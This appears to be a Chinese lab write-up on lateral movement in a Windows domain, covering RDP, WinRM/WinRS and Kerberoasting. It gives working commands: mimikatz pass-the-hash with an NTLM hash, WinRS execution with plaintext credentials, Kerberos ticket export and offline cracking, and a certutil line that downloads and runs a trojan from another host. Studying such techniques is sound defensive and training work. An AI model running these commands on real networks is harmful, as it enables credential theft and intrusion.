案例一:域横向移动-RDP-明文&NTLM
RDP利用的三种方式
1.直接在当前被控主机上进行远程连接
2.建立节点进行连接
3.端口转发,(访问当前主机的2222端口等于访问目标的3389)
第一种方式(动静太大)
直接利用被控主机进行远程连接
点击这个图标可以控制
输入win+r输入mstsc,输入想访问的ip
但是好像需要域管理员设置策略以后才允许普通用户之间连接
用管理员用户去登录域控主机
第二种方式
设置socks代理
通过代理利用rdesktop命令远程连接目标主机
登录管理员用户
在主机中查看会发现,有两个用户登录了这台主机
也可以利用hash进行登录,但是环境配置以及利用比较复杂,不做复现,可以用下面这篇文章学习
内网技巧-RDP劫持及利用hash登录 - 先知社区
privilege::debug
sekurlsa::pth /user:administrator /domain:192.168.20.1 /ntlm:579da618cfbfa85247acf1f800a280a4 "/run:mstsc.exe /restrictedadmin"
案例二:域横向移动-WinRM&WinRS-明文&NTLM
WinRM:
- 功能:WinRM是一种用于远程管理和配置Windows系统的协议和服务。它提供了基于SOAP(Simple Object Access Protocol)协议的远程管理功能
WinRS:
- 功能:WinRS是一种轻量级的命令行远程管理工具,允许在远程计算机上执行命令行命令,类似于在本地计算机上使用命令提示符。
利用条件:
双方都启用的 Winrm rs 的服务
在Windows Server 2012及之后的版本中,WinRM服务默认是开启的。但在Windows Server 2008 R2及之前的版本,以及Windows 7等桌面操作系统中,可能需要手动开启WinRM服务。
winrm的默认端口时http为5985端口https为5986端口,扫描5985
发现只能扫描到win2012
攻击主机的开启方式,这里对外开放的那张网卡不能设置为公用
启动命令必须为高权限的system所以需要提权
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
再次查看端口已经开放
创建服务以后利用工具winrs进行连接
winrs -r:192.168.3.30 -u:192.168.3.30\administrator -p:123.com whoami
这个命令貌似只能在cmd窗口当中去执行,在cs中执行会显示句柄无效
cs中
我想了个办法让他在cs当中也能够运行,把前面的语句输出通过管道符给cmd,让cmd去执行就ok
shell echo winrs -r:192.168.3.30 -u:192.168.3.30\administrator -p:123.com whoami | cmd
cmd中
上线cs,和之前一样访问web服务器下载木马并运行,记得设置代理转发。
winrs -r:192.168.3.30 -u:192.168.3.30\administrator -p:123.com "cmd.exe /c certutil -urlcache -split -f http://192.168.3.20/2.exe c:/2.exe & c:/2.exe"
cs当中内置了winrm横向移动
案例三:域横向移动-Spn&Kerberos-请求&破解&重写
该案例适用不知道加密密码和hash,且加密方式为rc4的
spn,服务主体名称,spn扫描不仅仅扫描的是端口,而且连同服务名称一起扫描,只能扫描windows自带的一些服务
加密类型必须为rc4,组策略中设置kerberos的加密类型
spn扫描
setspn -T qq.com -q */* #扫描全部服务
setspn -T qq.com -q */* | findstr "MSSQL" #扫描指定服务
请求服务
powershell请求
powershell Add-Type -AssemblyName System.IdentityModel
powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"
mimakatz请求
mimikatz kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433
我采用mimikatz请求服务,请求之前先清除所有票据
完事查看票据,如果刚才请求服务的那条票据是rc4加密的证明是可以利用的
导出票据
mimikatz kerberos::list /export
然后下载到本地,利用票据破解程序破解密码
GitCode - 全球开发者的开源社区,开源代码托管平台
python3 tgsrepcrack.py pass.txt "0-40e00000-webserver$@krbtgt~GOD.ORG-GOD.ORG.kirbi"
这里能不能破解出密码,取决与密码字典是否包含
这里我是变了一套环境,因为之前自己搭的环境无法复现,不过大致思路都一样